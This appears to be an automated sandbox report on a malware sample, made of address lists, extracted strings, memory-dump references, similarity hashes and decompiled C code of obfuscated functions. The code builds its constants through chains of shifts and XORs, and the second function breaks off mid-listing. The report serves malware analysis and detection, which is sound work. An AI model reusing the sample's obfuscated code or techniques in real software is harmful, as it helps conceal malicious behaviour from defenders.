0x00fb6010
0x00000000
0x00fb6010
0x00fb602e
0x00fb6034
0x00fb608a
0x00fb6095
0x00fb6095
0x00fb6098
0x00000000
0x00000000
0x00fb6092
0x00fb6092
0x00fb6092
0x00fb609a
0x00fb609d
0x00000000
0x00fb6036
0x00fb603c
0x00fb6285
0x00fb6042
0x00fb6048
0x00000000
0x00fb604e
0x00fb6075
0x00fb607a
0x00fb607d
0x00fb600e
0x00fb600e
0x00fb6010
0x00fb6011
0x00fb6011
0x00000000
0x00fb6011
0x00fb600e
0x00fb6048
0x00fb603c
0x00fb6034
0x00fb602c
0x00fb6024
0x00fb628d
0x00fb629e
0x00fb6257
0x00fb6257
0x00fb6257
0x00000000
0x00fb6263
0x00fb6011

Strings

}yM, xrefs: 00FB5D29
F{g, xrefs: 00FB5D99
y<, xrefs: 00FB59AF
:8@, xrefs: 00FB5B5D
), xrefs: 00FB5CBA
N1, xrefs: 00FB5BE4
`)/, xrefs: 00FB5AE5
jMfp, xrefs: 00FB5A34
]qIP, xrefs: 00FB5ED4
lfu*, xrefs: 00FB59F2
#1, xrefs: 00FB5AFD
+^3=, xrefs: 00FB5CF6
7l, xrefs: 00FB5914

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: #1$)$+^3=$7l$:8@$F{g$N1$]qIP$`)/$jMfp$lfu*$y<$}yM
API String ID: 0-2915221957
Opcode ID: 5395d979b68f4ddcaee9582a049ad32eeddf87d1ba7b62c9fa8daeb596324914
Instruction ID: 8e919eb11482892fca84a67d75f84df4589f7a863d9ec4e3db0b26fe9b5eac00
Opcode Fuzzy Hash: 5395d979b68f4ddcaee9582a049ad32eeddf87d1ba7b62c9fa8daeb596324914
Instruction Fuzzy Hash: 182204715083809FD7B8CF25C88AA8BBBE2FBC4758F10891DE1D986260D7B58949DF47

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBA890, Relevance: 15.7, Strings: 11, Instructions: 1959COMMON

Download Yara Rule

Strings

$, xrefs: 6EDBBBE3
@*&<>()C,, xrefs: 6EDBC030, 6EDBC0F2
.assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed, xrefs: 6EDBBCC4, 6EDBC087
h, xrefs: 6EDBB8AB
__ZN, xrefs: 6EDBAD97
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6EDBB589
SizeLimitExhausted, xrefs: 6EDBC299
$, xrefs: 6EDBBBF3
called `Option::unwrap()` on a `None` value, xrefs: 6EDBC12E
.llvm.C:krlaoyielwznvejuafezypqcocmjtjjtbijbqwlufiemtvzrncrsqklaorfwhkaclbsrhxcyxfrzrgfapvzyvasietlisocljucmq, xrefs: 6EDBA8AD
called `Result::unwrap()` on an `Err` value, xrefs: 6EDBC14D

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: $$$$.assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed$.llvm.C:krlaoyielwznvejuafezypqcocmjtjjtbijbqwlufiemtvzrncrsqklaorfwhkaclbsrhxcyxfrzrgfapvzyvasietlisocljucmq$@*&<>()C,$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Option::unwrap()` on a `None` value$called `Result::unwrap()` on an `Err` value$h
API String ID: 0-351887750
Opcode ID: 018de5f961dd812943ef5910e271d811828307676b7218f0b2ab5ccf7829a308
Instruction ID: 7c7215fcf60c7de72d11d76a1e5d9e907ef7de4fe1cca35935222af139fd06e7
Opcode Fuzzy Hash: 018de5f961dd812943ef5910e271d811828307676b7218f0b2ab5ccf7829a308
Instruction Fuzzy Hash: 36E2E0B1A08212DFD314CF99C4D065EB7E2ABC6354F158A1DE4E68B3D9E731D845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FBC205, Relevance: 14.2, Strings: 11, Instructions: 450
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00FBC205(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				intOrPtr _v1576;
				char _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				unsigned int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				signed int _v1776;
				signed int _v1780;
				signed int _v1784;
				signed int _v1788;
				void* _t487;
				void* _t491;
				short* _t496;
				void* _t498;
				void* _t504;
				void* _t507;
				void* _t516;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				signed int _t526;
				signed int _t527;
				signed int _t528;
				void* _t529;
				void* _t543;
				signed int _t589;
				void* _t591;
				signed int* _t596;

				_t596 =  &_v1788;
				_v1584 = _v1584 & 0x00000000;
				_v1632 = 0x53b728;
				_v1632 = _v1632 + 0xffffd00f;
				_v1632 = _v1632 ^ 0x02538737;
				_v1692 = 0x5dde51;
				_v1692 = _v1692 + 0xffffc72f;
				_v1692 = _v1692 << 8;
				_v1692 = _v1692 ^ 0x5da9926e;
				_v1672 = 0xad9f1;
				_v1672 = _v1672 >> 8;
				_v1672 = _v1672 + 0xfffff529;
				_v1672 = _v1672 ^ 0x00008b94;
				_v1596 = 0xf223a8;
				_t516 = __ecx;
				_t591 = 0x64278db;
				_t518 = 0x1f;
				_v1596 = _v1596 / _t518;
				_v1596 = _v1596 ^ 0x000ed2b2;
				_v1768 = 0x3ef02a;
				_v1768 = _v1768 << 7;
				_v1768 = _v1768 + 0xa089;
				_v1768 = _v1768 + 0x3571;
				_v1768 = _v1768 ^ 0x1f77b471;
				_v1708 = 0xc715be;
				_t519 = 0x7c;
				_v1708 = _v1708 / _t519;
				_v1708 = _v1708 + 0xa9b;
				_v1708 = _v1708 ^ 0x000cc03e;
				_v1640 = 0xf5c20e;
				_v1640 = _v1640 + 0x1e32;
				_v1640 = _v1640 ^ 0x00fd9706;
				_v1680 = 0xf22aa7;
				_v1680 = _v1680 | 0x1e0d26ed;
				_t520 = 0x43;
				_v1680 = _v1680 * 0x62;
				_v1680 = _v1680 ^ 0xddab6df6;
				_v1756 = 0x5f1bc1;
				_v1756 = _v1756 << 0xa;
				_v1756 = _v1756 | 0x1ee2bf71;
				_v1756 = _v1756 << 0x10;
				_v1756 = _v1756 ^ 0xbf7898bf;
				_v1644 = 0x395bf;
				_v1644 = _v1644 << 7;
				_v1644 = _v1644 ^ 0x01cfa7c3;
				_v1772 = 0x3904e8;
				_v1772 = _v1772 + 0x8f69;
				_v1772 = _v1772 + 0xdb14;
				_v1772 = _v1772 | 0x17a7223e;
				_v1772 = _v1772 ^ 0x17b3767c;
				_v1788 = 0xab8cbd;
				_v1788 = _v1788 >> 0xc;
				_v1788 = _v1788 / _t520;
				_v1788 = _v1788 + 0xffffbfe3;
				_v1788 = _v1788 ^ 0xfffe4ed4;
				_v1604 = 0xc318fb;
				_v1604 = _v1604 * 0x15;
				_v1604 = _v1604 ^ 0x100d5bde;
				_v1712 = 0xdecc74;
				_v1712 = _v1712 << 0xf;
				_v1712 = _v1712 * 0x6a;
				_v1712 = _v1712 ^ 0x540cb602;
				_v1784 = 0x375fb9;
				_v1784 = _v1784 << 4;
				_v1784 = _v1784 | 0xabc0ebaf;
				_v1784 = _v1784 << 2;
				_v1784 = _v1784 ^ 0xafd33898;
				_v1688 = 0x35bac8;
				_v1688 = _v1688 << 1;
				_v1688 = _v1688 >> 6;
				_v1688 = _v1688 ^ 0x000070de;
				_v1588 = 0xb58e78;
				_v1588 = _v1588 ^ 0xb0c46a78;
				_v1588 = _v1588 ^ 0xb07b43dd;
				_v1636 = 0x8b407b;
				_t521 = 0x2f;
				_v1636 = _v1636 / _t521;
				_v1636 = _v1636 ^ 0x000c4486;
				_v1704 = 0x9211ca;
				_v1704 = _v1704 | 0x22c82110;
				_v1704 = _v1704 << 5;
				_v1704 = _v1704 ^ 0x5b4dbfff;
				_v1732 = 0x261d00;
				_v1732 = _v1732 | 0xce3841e3;
				_v1732 = _v1732 + 0xffff8b72;
				_v1732 = _v1732 ^ 0xce34913b;
				_v1620 = 0xaa7fd6;
				_v1620 = _v1620 >> 9;
				_v1620 = _v1620 ^ 0x00008b2b;
				_v1592 = 0x25885e;
				_v1592 = _v1592 + 0xffff7d04;
				_v1592 = _v1592 ^ 0x0020c98d;
				_v1736 = 0xe0d47f;
				_v1736 = _v1736 + 0x6f49;
				_v1736 = _v1736 >> 4;
				_v1736 = _v1736 ^ 0x0009d074;
				_v1628 = 0x512d73;
				_v1628 = _v1628 << 6;
				_v1628 = _v1628 ^ 0x14481f98;
				_v1660 = 0x3ed413;
				_v1660 = _v1660 + 0xffff4d81;
				_v1660 = _v1660 ^ 0x00309f09;
				_v1776 = 0x7eaa8f;
				_v1776 = _v1776 << 0xb;
				_v1776 = _v1776 >> 2;
				_t522 = 0x6f;
				_v1776 = _v1776 / _t522;
				_v1776 = _v1776 ^ 0x0084e4b8;
				_v1600 = 0x7d4705;
				_v1600 = _v1600 >> 7;
				_v1600 = _v1600 ^ 0x000c849c;
				_v1724 = 0x268426;
				_v1724 = _v1724 ^ 0xdd0187c5;
				_v1724 = _v1724 << 0xe;
				_v1724 = _v1724 ^ 0xc0f20a62;
				_v1648 = 0x88354a;
				_v1648 = _v1648 + 0x46c9;
				_v1648 = _v1648 ^ 0x00820072;
				_v1656 = 0x199859;
				_v1656 = _v1656 + 0xffffc38f;
				_v1656 = _v1656 ^ 0x001738cc;
				_v1716 = 0x9ddb87;
				_v1716 = _v1716 | 0xc4b29989;
				_v1716 = _v1716 >> 7;
				_v1716 = _v1716 ^ 0x018a1e72;
				_v1612 = 0xef86f2;
				_v1612 = _v1612 >> 4;
				_v1612 = _v1612 ^ 0x00099134;
				_v1696 = 0xbb1d9c;
				_t523 = 0x57;
				_v1696 = _v1696 / _t523;
				_t524 = 0x5d;
				_v1696 = _v1696 / _t524;
				_v1696 = _v1696 ^ 0x0009288e;
				_v1780 = 0xa5e37;
				_t245 =  &_v1780; // 0xa5e37
				_t525 = 0x2a;
				_v1780 =  *_t245 * 0x15;
				_v1780 = _v1780 ^ 0x77e30140;
				_v1780 = _v1780 * 0x2f;
				_v1780 = _v1780 ^ 0xe3c80932;
				_v1728 = 0xd57028;
				_v1728 = _v1728 >> 0xf;
				_v1728 = _v1728 / _t525;
				_v1728 = _v1728 ^ 0x000f0094;
				_v1764 = 0xcd1fae;
				_v1764 = _v1764 ^ 0xc4f885fe;
				_v1764 = _v1764 ^ 0x05d45947;
				_t526 = 0x54;
				_v1764 = _v1764 * 0x7d;
				_v1764 = _v1764 ^ 0xab389179;
				_v1720 = 0xb4f0e6;
				_v1720 = _v1720 ^ 0x1f4d57f4;
				_v1720 = _v1720 / _t526;
				_v1720 = _v1720 ^ 0x00604eb2;
				_v1748 = 0x63ad26;
				_v1748 = _v1748 + 0xad4f;
				_v1748 = _v1748 ^ 0x0965e416;
				_v1748 = _v1748 + 0xffff38ee;
				_v1748 = _v1748 ^ 0x0906cb18;
				_v1664 = 0x920166;
				_v1664 = _v1664 << 0x10;
				_v1664 = _v1664 ^ 0x016542eb;
				_v1652 = 0x809268;
				_v1652 = _v1652 << 8;
				_v1652 = _v1652 ^ 0x8096ea3b;
				_v1616 = 0x543760;
				_v1616 = _v1616 << 0xb;
				_v1616 = _v1616 ^ 0xa1b1aa26;
				_v1676 = 0xb03be2;
				_v1676 = _v1676 >> 0xb;
				_v1676 = _v1676 + 0xd6ce;
				_v1676 = _v1676 ^ 0x000f22cb;
				_v1760 = 0xdc251e;
				_v1760 = _v1760 | 0x3ab91ea5;
				_v1760 = _v1760 + 0x2428;
				_t527 = 0x18;
				_v1760 = _v1760 * 0x45;
				_v1760 = _v1760 ^ 0xe64e7237;
				_v1684 = 0x929343;
				_v1684 = _v1684 ^ 0xdb83494f;
				_v1684 = _v1684 / _t527;
				_v1684 = _v1684 ^ 0x092a7c84;
				_v1740 = 0x63a33d;
				_v1740 = _v1740 + 0xfffffdc3;
				_v1740 = _v1740 ^ 0xeecf69ea;
				_v1740 = _v1740 ^ 0xeea535df;
				_v1608 = 0xb62693;
				_v1608 = _v1608 >> 4;
				_v1608 = _v1608 ^ 0x000522a0;
				_v1668 = 0x2d10b5;
				_v1668 = _v1668 >> 7;
				_v1668 = _v1668 + 0x1174;
				_v1668 = _v1668 ^ 0x000d75a2;
				_v1744 = 0x9bc249;
				_t528 = 0x1b;
				_v1744 = _v1744 / _t528;
				_v1744 = _v1744 >> 5;
				_v1744 = _v1744 + 0x97a6;
				_v1744 = _v1744 ^ 0x0003d8b3;
				_v1752 = 0x81a885;
				_v1752 = _v1752 | 0x7c450d1e;
				_v1752 = _v1752 + 0x4652;
				_v1752 = _v1752 << 0xe;
				_v1752 = _v1752 ^ 0x7cf762d8;
				_v1624 = 0xd67170;
				_v1624 = _v1624 >> 9;
				_v1624 = _v1624 ^ 0x00041f96;
				_v1700 = 0x51d643;
				_v1700 = _v1700 >> 9;
				_v1700 = _v1700 >> 7;
				_v1700 = _v1700 ^ 0x00081f7a;
				_t589 = _v1584;
				while(1) {
					L1:
					_t487 = 0x689aa28;
					while(1) {
						L2:
						_t529 = 0xc3fdd40;
						do {
							L3:
							while(_t591 != 0x27e97d) {
								if(_t591 == 0x88c97f) {
									_push(_t529);
									_t491 = E00FBEA55(0, _v1616, __eflags, _v1676,  &_v1564, _v1760, 0, _v1684, _v1740,  &_v1580);
									__eflags = _t491;
									if(_t491 == 0) {
										L26:
										return _t491;
									}
									E00FB4A33(_v1608, _v1668, _v1580);
									return E00FB4A33(_v1744, _v1752, _v1576);
								}
								if(_t591 == 0x64278db) {
									_t591 = 0xf344949;
									continue;
								}
								if(_t591 == 0xb379dcd) {
									__eflags = _t589 - _t487;
									if(__eflags != 0) {
										_t591 = 0xb6fc5c6;
										continue;
									}
									_push(_v1640);
									_push(_t529);
									_t491 = E00FA358B(_v1768, _v1632,  &_v1584, _v1708, _t529);
									_t596 =  &(_t596[5]);
									__eflags = _t491;
									if(__eflags == 0) {
										goto L26;
									}
									_t591 = 0xb6fc5c6;
									while(1) {
										L1:
										_t487 = 0x689aa28;
										L2:
										_t529 = 0xc3fdd40;
										goto L3;
									}
								}
								if(_t591 == 0xb6fc5c6) {
									E00FB855C( &_v1044, _v1680, __eflags, _v1756, _v1644, _t529, _v1772);
									_t496 = E00FA2B69(_v1788, _v1604,  &_v1044, _v1712);
									_t416 =  &_v1784; // 0x2428
									 *_t496 = 0;
									E00FA3432( &_v524,  *_t416, __eflags, _v1688);
									_push(_v1704);
									_push(_v1636);
									_t498 = E00FBCD35(0xfa13e4, _v1588, __eflags);
									_pop(_t543);
									E00FB2EA5( &_v524, __eflags,  &_v1044, _t543, _v1620, _v1592, _t498, _v1736, _v1628,  &_v1564);
									E00FB629F(_v1660, _t498, _v1776, _v1600, _v1724);
									_t504 = E00FBE5A7(_t516, _v1648, _v1656,  &_v1564, _v1716);
									_t596 =  &(_t596[0x15]);
									__eflags = _t504;
									if(__eflags == 0) {
										L13:
										_t591 = 0x27e97d;
										goto L1;
									}
									_t487 = 0x689aa28;
									__eflags = _t589 - 0x689aa28;
									_t529 = 0xc3fdd40;
									_t591 =  ==  ? 0xc3fdd40 : 0x88c97f;
									continue;
								}
								if(_t591 == _t529) {
									_push(_v1764);
									_t397 =  &_v1780; // 0xe64e7237
									_t507 = E00FA3A6C(_v1612,  &_v1564, _v1696,  *_t397, _v1584,  &_v1580, _t529, _v1728);
									_t596 =  &(_t596[8]);
									__eflags = _t507;
									if(__eflags != 0) {
										E00FB4A33(_v1720, _v1748, _v1580);
										E00FB4A33(_v1664, _v1652, _v1576);
									}
									goto L13;
								}
								if(_t591 != 0xf344949) {
									goto L22;
								}
								E00FA2ADB();
								E00FBDDA5();
								_t487 = 0x689aa28;
								_t591 = 0xb379dcd;
								_t589 =  !=  ? 0x689aa28 : 0x8bd357c;
								goto L2;
							}
							E00FB4A33(_v1624, _v1700, _v1584);
							_t591 = 0x4f06587;
							_t487 = 0x689aa28;
							_t529 = 0xc3fdd40;
							L22:
							__eflags = _t591 - 0x4f06587;
						} while (__eflags != 0);
						return _t487;
					}
				}
			}

0x00fbc205
0x00fbc20b
0x00fbc215
0x00fbc220
0x00fbc22b
0x00fbc236
0x00fbc23e
0x00fbc246
0x00fbc24b
0x00fbc253
0x00fbc25b
0x00fbc260
0x00fbc268
0x00fbc270
0x00fbc288
0x00fbc28a
0x00fbc28f
0x00fbc294
0x00fbc29d
0x00fbc2a8
0x00fbc2b0
0x00fbc2b5
0x00fbc2bd
0x00fbc2c5
0x00fbc2cd
0x00fbc2d9
0x00fbc2de
0x00fbc2e4
0x00fbc2ec
0x00fbc2f4
0x00fbc2ff
0x00fbc30a
0x00fbc315
0x00fbc320
0x00fbc333
0x00fbc334
0x00fbc338
0x00fbc340
0x00fbc348
0x00fbc34d
0x00fbc355
0x00fbc35a
0x00fbc362
0x00fbc36d
0x00fbc375
0x00fbc380
0x00fbc388
0x00fbc390
0x00fbc398
0x00fbc3a0
0x00fbc3a8
0x00fbc3b0
0x00fbc3bb
0x00fbc3bf
0x00fbc3c7
0x00fbc3cf
0x00fbc3e2
0x00fbc3e9
0x00fbc3f4
0x00fbc3fc
0x00fbc406
0x00fbc40a
0x00fbc412
0x00fbc41a
0x00fbc421
0x00fbc429
0x00fbc42e
0x00fbc436
0x00fbc43e
0x00fbc442
0x00fbc447
0x00fbc44f
0x00fbc45a
0x00fbc465
0x00fbc470
0x00fbc484
0x00fbc489
0x00fbc492
0x00fbc49d
0x00fbc4a5
0x00fbc4ad
0x00fbc4b2
0x00fbc4ba
0x00fbc4c2
0x00fbc4ca
0x00fbc4d2
0x00fbc4da
0x00fbc4e5
0x00fbc4ed
0x00fbc4f8
0x00fbc503
0x00fbc50e
0x00fbc519
0x00fbc521
0x00fbc529
0x00fbc52e
0x00fbc536
0x00fbc541
0x00fbc549
0x00fbc554
0x00fbc55f
0x00fbc56a
0x00fbc575
0x00fbc57d
0x00fbc582
0x00fbc58b
0x00fbc590
0x00fbc596
0x00fbc59e
0x00fbc5a9
0x00fbc5b1
0x00fbc5bc
0x00fbc5c4
0x00fbc5cc
0x00fbc5d1
0x00fbc5d9
0x00fbc5e4
0x00fbc5ef
0x00fbc5fa
0x00fbc605
0x00fbc610
0x00fbc61b
0x00fbc623
0x00fbc62b
0x00fbc630
0x00fbc638
0x00fbc643
0x00fbc64b
0x00fbc656
0x00fbc662
0x00fbc665
0x00fbc671
0x00fbc676
0x00fbc67c
0x00fbc684
0x00fbc68c
0x00fbc691
0x00fbc694
0x00fbc698
0x00fbc6a5
0x00fbc6a9
0x00fbc6b1
0x00fbc6b9
0x00fbc6c6
0x00fbc6ca
0x00fbc6d2
0x00fbc6da
0x00fbc6e2
0x00fbc6ef
0x00fbc6f2
0x00fbc6f6
0x00fbc6fe
0x00fbc706
0x00fbc716
0x00fbc71a
0x00fbc722
0x00fbc72a
0x00fbc732
0x00fbc73a
0x00fbc742
0x00fbc74a
0x00fbc755
0x00fbc75d
0x00fbc768
0x00fbc773
0x00fbc77b
0x00fbc786
0x00fbc791
0x00fbc799
0x00fbc7a4
0x00fbc7af
0x00fbc7b7
0x00fbc7c2
0x00fbc7cd
0x00fbc7d5
0x00fbc7dd
0x00fbc7ea
0x00fbc7eb
0x00fbc7ef
0x00fbc7f7
0x00fbc7ff
0x00fbc80d
0x00fbc811
0x00fbc819
0x00fbc821
0x00fbc829
0x00fbc831
0x00fbc839
0x00fbc844
0x00fbc84c
0x00fbc857
0x00fbc862
0x00fbc86a
0x00fbc875
0x00fbc880
0x00fbc895
0x00fbc898
0x00fbc89c
0x00fbc8a1
0x00fbc8a9
0x00fbc8b1
0x00fbc8b9
0x00fbc8c1
0x00fbc8c9
0x00fbc8ce
0x00fbc8d6
0x00fbc8e1
0x00fbc8e9
0x00fbc8f4
0x00fbc8fc
0x00fbc901
0x00fbc906
0x00fbc90e
0x00fbc915
0x00fbc915
0x00fbc915
0x00fbc91a
0x00fbc91a
0x00fbc91a
0x00fbc91f
0x00000000
0x00fbc91f
0x00fbc92d
0x00fbcbb8
0x00fbcbea
0x00fbcbf2
0x00fbcbf4
0x00fbcc30
0x00fbcc30
0x00fbcc30
0x00fbcc0b
0x00000000
0x00fbcc25
0x00fbc939
0x00fbcb79
0x00000000
0x00fbcb79
0x00fbc945
0x00fbcb31
0x00fbcb33
0x00fbcb6f
0x00000000
0x00fbcb6f
0x00fbcb35
0x00fbcb43
0x00fbcb55
0x00fbcb5a
0x00fbcb5d
0x00fbcb5f
0x00000000
0x00000000
0x00fbcb65
0x00fbc915
0x00fbc915
0x00fbc915
0x00fbc91a
0x00fbc91a
0x00000000
0x00fbc91a
0x00fbc915
0x00fbc951
0x00fbca31
0x00fbca4d
0x00fbca59
0x00fbca5f
0x00fbca69
0x00fbca76
0x00fbca7a
0x00fbca88
0x00fbca8e
0x00fbcac7
0x00fbcae4
0x00fbcb08
0x00fbcb0d
0x00fbcb10
0x00fbcb12
0x00fbca0c
0x00fbca0c
0x00000000
0x00fbca0c
0x00fbcb18
0x00fbcb22
0x00fbcb24
0x00fbcb29
0x00000000
0x00fbcb29
0x00fbc959
0x00fbc99e
0x00fbc9bd
0x00fbc9d0
0x00fbc9d5
0x00fbc9d8
0x00fbc9da
0x00fbc9eb
0x00fbca06
0x00fbca0b
0x00000000
0x00fbc9da
0x00fbc961
0x00000000
0x00000000
0x00fbc979
0x00fbc980
0x00fbc98c
0x00fbc991
0x00fbc996
0x00000000
0x00fbc996
0x00fbcb95
0x00fbcb9b
0x00fbcba0
0x00fbcba5
0x00fbcbaa
0x00fbcbaa
0x00fbcbaa
0x00000000
0x00fbc91f
0x00fbc91a

Strings

7rN, xrefs: 00FBC6EA
s-Q, xrefs: 00FBC536
}', xrefs: 00FBC88E
q5, xrefs: 00FBC2BD
r, xrefs: 00FBC5EF
7^, xrefs: 00FBC68C
($7rN, xrefs: 00FBC7E5
7rN, xrefs: 00FBC9BD
($7rN, xrefs: 00FBCA59
`7T, xrefs: 00FBC786
Io, xrefs: 00FBC521

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ($7rN$($7rN$7^$7rN$7rN$Io$`7T$q5$r$s-Q$}'
API String ID: 0-2675266107
Opcode ID: 10935b1941e1f609b178eeda83bc1f35e2b92251cc303985ac17386dfebf4809
Instruction ID: 223cd4441113d1ed9816b27f2f47ccaf27bb4297c89b3249834bb863a7bc8047
Opcode Fuzzy Hash: 10935b1941e1f609b178eeda83bc1f35e2b92251cc303985ac17386dfebf4809
Instruction Fuzzy Hash: E13233725083819FD368CF61C84AA9FBBE1FBC4348F108A1DE6D996260D7B58909DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FA59BF, Relevance: 12.9, Strings: 10, Instructions: 394
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00FA59BF() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				intOrPtr* _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				intOrPtr* _t424;
				void* _t425;
				intOrPtr* _t438;
				void* _t440;
				void* _t470;
				signed int _t480;
				signed int _t481;
				signed int _t482;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				intOrPtr _t487;
				intOrPtr* _t489;
				intOrPtr* _t490;
				signed int* _t494;
				void* _t496;

				_t494 =  &_v1748;
				_v1620 = 0xe208d1;
				_v1620 = _v1620 >> 0x10;
				_t440 = 0x6dd668d;
				_v1620 = _v1620 ^ 0x000000cb;
				_v1632 = 0xf714e8;
				_v1632 = _v1632 >> 0xe;
				_v1632 = _v1632 * 0x70;
				_t490 = 0;
				_v1632 = _v1632 ^ 0x000eb07f;
				_v1572 = 0x2de42c;
				_v1572 = _v1572 | 0x0db3fdf3;
				_v1572 = _v1572 ^ 0x0dbffdfd;
				_v1748 = 0xbc7661;
				_v1748 = _v1748 >> 6;
				_v1748 = _v1748 ^ 0xe50abbec;
				_v1748 = _v1748 >> 6;
				_v1748 = _v1748 ^ 0x0394212a;
				_v1604 = 0xaddaf5;
				_v1604 = _v1604 | 0x415c680c;
				_v1604 = _v1604 ^ 0x41fdfafd;
				_v1588 = 0xdfa901;
				_v1588 = _v1588 + 0xffff3ba4;
				_v1588 = _v1588 ^ 0x00dee4b5;
				_v1644 = 0xd2ab4c;
				_v1644 = _v1644 + 0x7555;
				_v1644 = _v1644 | 0xc36f5ef2;
				_v1644 = _v1644 ^ 0xc3ffc95b;
				_v1684 = 0x1437f7;
				_v1684 = _v1684 + 0x6d4b;
				_v1684 = _v1684 + 0x4f22;
				_v1684 = _v1684 ^ 0x001a9d05;
				_v1740 = 0xba04d3;
				_v1740 = _v1740 >> 0xd;
				_t480 = 0x37;
				_v1740 = _v1740 / _t480;
				_v1740 = _v1740 >> 4;
				_v1740 = _v1740 ^ 0x000d936b;
				_v1628 = 0xc18096;
				_v1628 = _v1628 << 4;
				_v1628 = _v1628 ^ 0x0c105ee9;
				_v1716 = 0x1658bb;
				_v1716 = _v1716 ^ 0xaff49a84;
				_v1716 = _v1716 ^ 0x6e4c268d;
				_v1716 = _v1716 ^ 0xc3497a67;
				_v1716 = _v1716 ^ 0x02e2fab6;
				_v1652 = 0x22ed00;
				_t481 = 0x22;
				_v1576 = 0;
				_v1652 = _v1652 * 0x60;
				_v1652 = _v1652 * 0x3a;
				_v1652 = _v1652 ^ 0xf7a66c18;
				_v1676 = 0xbfcbd5;
				_v1676 = _v1676 ^ 0x30bc9787;
				_v1676 = _v1676 | 0x6db8c808;
				_v1676 = _v1676 ^ 0x7db478e8;
				_v1724 = 0x27ac8c;
				_v1724 = _v1724 << 8;
				_v1724 = _v1724 * 0x31;
				_v1724 = _v1724 << 9;
				_v1724 = _v1724 ^ 0x0d9e6424;
				_v1636 = 0xf4f9d3;
				_v1636 = _v1636 / _t481;
				_v1636 = _v1636 >> 8;
				_v1636 = _v1636 ^ 0x000b680c;
				_v1612 = 0x15495f;
				_t482 = 0x4a;
				_v1612 = _v1612 * 0x17;
				_v1612 = _v1612 ^ 0x01ebd1be;
				_v1668 = 0xfd750c;
				_v1668 = _v1668 >> 1;
				_v1668 = _v1668 << 3;
				_v1668 = _v1668 ^ 0x03f0c5f0;
				_v1700 = 0xe618e7;
				_v1700 = _v1700 | 0xd14a9f7e;
				_v1700 = _v1700 ^ 0x50c0015a;
				_v1700 = _v1700 >> 1;
				_v1700 = _v1700 ^ 0x4092d66a;
				_v1732 = 0x311c59;
				_v1732 = _v1732 | 0x1d4d615b;
				_v1732 = _v1732 + 0xffff12fd;
				_v1732 = _v1732 >> 3;
				_v1732 = _v1732 ^ 0x03a0715e;
				_v1580 = 0x6c3800;
				_v1580 = _v1580 ^ 0x0701ab83;
				_v1580 = _v1580 ^ 0x076e5a87;
				_v1680 = 0x89170c;
				_v1680 = _v1680 | 0x04b16a81;
				_v1680 = _v1680 ^ 0xfa3b9c1d;
				_v1680 = _v1680 ^ 0xfe8db652;
				_v1688 = 0xb87b48;
				_v1688 = _v1688 << 1;
				_v1688 = _v1688 ^ 0xae40cf0d;
